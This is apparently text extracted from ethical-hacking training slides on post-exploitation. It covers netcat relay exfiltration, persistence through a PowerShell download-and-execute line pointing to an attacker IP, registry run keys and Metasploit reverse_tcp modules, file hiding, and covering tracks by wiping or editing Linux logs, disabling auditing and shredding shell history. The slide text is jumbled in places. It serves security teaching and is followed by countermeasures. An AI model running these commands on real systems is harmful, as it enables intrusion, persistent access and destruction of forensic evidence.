2. The relay is in a DMZ - it acts as a meet-in-the-middle
C:\>echo nc -L -p 8008 > relay.bat
C:\>nc -L -p 80 -e relay.bat
3. The target has a scheduled script that periodically exfiltrates a file to the relay
Target
Relay 10.5.5.5
10.1.2.3
:80 :8008
C L L C
6.19 Persistence
RATS and Backdoors
"c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
'IEX (
(new-object net.webclient).downloadstring
(
''http://<attacker IP>:8080/ZPWLywg''
)
)'"
reg add
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend"
/v wePwnU /t REG_SZ /d "C:\tmp\pwn.dll"
You can run a Metasploit script:
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r <attacker IP>
use post/windows/manage/persistence_exe
set REXEPATH /tmp/pentestlab.exe
set SESSION 2
set STARTUP USER
set LOCALEXEPATH C:\\tmp
run
Metasploit persistence module examples:
Windows Manage User Level Persistent Payload Installer
Windows Persistent Registry Startup Payload Installer
Windows Persistent Service Installer
Persistent Payload in Windows Volume Shadow Copy
6.20 HIDING
File Attributes
ADS
DATA Steganography
Steganalysis
Additional File Hiding Methods
If you want to ensure that files you leave behind are not visible, you can use various
methods to hide them:
File Attributes
Alternate Data Streams
Steganography
Third-party rootkits, drivers and DLLs to hide files and processes
In Windows: attrib +h filename
attrib +h hideme.txt
Hide a folder, including all files and subfolders inside
attrib +h hidethisfolder /s /d
In Linux, add a . to the beginning of the filename
bad.text
.bad.text
AKA ADS or NTFS Streams
In Windows, you can use ADS to hide files
ADS is a feature of NTFS
Created to make Windows compatible with the MAC file system
You can use it to hide files
Document steganography
In the document steganography, user adds white spaces and tabs at the end of the lines
Folder Steganography
Folder steganography refers to hiding one or more files in a folder
In this process, user moves the file physically but still keeps the associated files in its original
folder for recovery
Video Steganography
Video steganography is a technique to hide files with any extension into a carrying video file
One can apply video steganography to different formats of files such as .avi, .mpg4, .wmv, etc.
Audio Steganography
In audio steganography, user embeds the hidden messages in digital sound format
Whitespace Steganography
In the white space steganography, user hides the messages in ASCII text by adding white
spaces to the end of the lines
Web Steganography
In the web steganography, a user hides web objects behind other objects and uploads
them to a webserver
Spam/Email Steganography
One can use Spam emails for secret communication by embedding the secret messages
in some way and hiding the embedded data in the spam emails
This technique refers to Spam Email steganography
DVDROM Steganography
In the DVDROM steganography, user embeds the content in audio and graphical mode
Image files
Too many distortions in image
Image quality degraded
Compare original and stego images with respect to color composition, luminance, pixel
relationships
Scan least significant bits (LSBs) for hidden data
Audio files
Scan inaudible frequencies and LSBs for hidden data
Video files
Use image and audio techniques
Gargoyle Investigator Forensic Pro
StegSecret
StegAlyzer
Steganography Studio
Virtual Steganographic Laboratory (VSL)
Stegdetect
Unexpected locations
Hide files in places like the Recycle Bin, or System32 folder
Function modification
Replace file reporting tools such as File Explorer, dir and ls with malicious versions
The new versions will not report/display the files and folders you wish to hide
Function hooking
Use a rootkit to intercept low-level calls (such as listing files) to the operating system kernel
Any lists of files and folders returned to the calling application will not include the hidden
objects
File-hiding tool examples:
Wise Folder Hider
Vovsoft
Gilisoft
WinMend
GitHub lists 131 file and process hiding repos
6.21 COVERING Hiding Activity
Covering Tracks in Windows
TRACKS Covering Tracks in Linux
Your primary task will be to clear/modify/falsify logs
Also remove any files/artifacts that could be discovered
Clear registry entries and command line history
Windows
Event Viewer Logs
System
Application
Security You could also steal a token or impersonate a user
Hide your activity by “framing” the other user
Linux
/var/log/messages
Use reverse HTTP shells
Victim starts HTTP session to attacker
This looks normal
Delete user JavaScript Turn off most used apps and recently
opened items
An administrative tool found in all versions of Windows
Allows you to view events, errors, warnings and additional important information
about what's happening on the system
Contains three primary logs:
System
Application
Security
Warning
Informs you of a situation that is probably significant, but not yet a serious problem. For
example, low disk space will trigger a warning event.
Error
Indicates a serious problem that may cause a loss of functionality or loss of data.
Success Audit
Records a successful event that is audited for security purposes
For example, when a user successfully logs on to the system, a Success Audit event is
recorded
Failure Audit
Records an unsuccessful event that is audited for security purposes
For example, when a user unsuccessfully tries to log on to the system, a Failure Audit
event is recorded
Note: Audit logging can also be enabled for file, print, and Active Directory access
Security logging has to be enabled in Group Policy
Logging then has to be enabled for a specific object in its Security tab
Best option is be selective and delete the entries pertaining to your actions
Can also disable auditing ahead of time to prevent logs from being captured
Another option is to corrupt a log file to make it unreadable
This happens frequently under normal conditions
Stop the event log service or boot another OS
Then open/edit/save the log file with a text editor
ccleaner
Automate system cleaning, scrub online history, log files, etc.
Eventlogedit-evtx--Evolution
Remove individual lines from Windows XML Event Log (EVTX) files
Works on Windows 7, Server 2012 and later
auditpol /remove
Remove all per-user audit policy settings and disables all system audit policy settings
Detect and clean MRU (most recently used) lists on your computer
MRU lists contain information such as the names and/or locations of the last files you have
accessed
They are located all over the registry, for almost any file type
MRUBlaster - https://www.brightfort.com/mrublaster.html
/var/log/auth.log or /var/log/secure
Stores authentication logs, including both successful and failed logins and authentication
methods
/var/log/boot.log
Related to booting and any messages logged during startup
/var/log/maillog or var/log/mail.log
Stores all logs related to mail servers
It is possible to echo whitespace to clear the event log file:
echo " " > /var/log/auth.log
Also you can perform this by using 'black hole dev/null’:
echo /dev/null > auth.log
To tamper/modify the log files, you can use sed stream editor to delete, replace
and insert data.
This command will delete every line that contains the 'opened' word (opened
sessions on Linux system):
sed -i '/opened/d' /var/log/auth.log
Use hidden files
name a malicious file “. log” with a space between . and log - then hide in /dev or /tmp
Disable history
export HISTSIZE=0
echo $HISTSIZE // Verify the value is set to 0
Clear history
history -c //clears stored history
history -w //clears history of current shell
Clear user’s complete history
cat /dev/null > ~.bash_history && history -c && exit
Shred history
//Shred history file, then delete it, then clear evidence of this command
shred -zu ~/.bash_history
shred ~/.bash_history && cat /dev/null > .bash_history && history -c && exit
HACKING
Harden Linux
Password Cracking Countermeasures
MEASURES
Employ a multilayer, holistic security plan
Protect:
Systems
Apps
Data
Infrastructure
Processes
Personnel
Utilize:
Policies, procedures and training
Network security
Physical security
Change management
Risk management
Auditing
Disaster recovery.
Change defaults
Disable unused accounts, features and services
Regularly patch and update the OS, services and applications
Regularly verify system file integrity
Set permissions and rights based on the principle of least privilege
Use VPNs to connect
Deploy Intrusion Detection on the network
Deploy edge and host firewalls.
Set a password policy including history, length, complexity, and
minimum/maximum age
Do not use passwords such as date of birth, spouse/child/pet’s name
Monitor for local and network-based dictionary/brute-forcing
Prefer long pass phrases over shorter complex passwords
Prefer two-factor authentication if possible
Enable SYSKEY or BitLocker on Windows to protect the SAM database
Avoid clear text protocols
Avoid storing passwords in an unsecure location.
Employ two-factor authentication such as:
Smart card + PIN
Biometrics and password
ETHICAL
When hacking system services, prefer buffer overflows that allow remote privilege
execution
Use a compromised host to pivot into the rest of the internal network
HACKING
If you can only compromise a system at a standard user level, seek to escalate privilege
REVIEW
Maintain control through a persistent payload
INTRO TO
There are many tools and approaches you can use to hack a system
ETHICAL
When hacking system services, prefer buffer overflows that allow privileged remote
execution
Use a compromised host to pivot into the rest of the internal network
HACKING
If you can only compromise a system at a standard user level, seek to escalate privilege
REVIEW
Maintain control through a persistent payload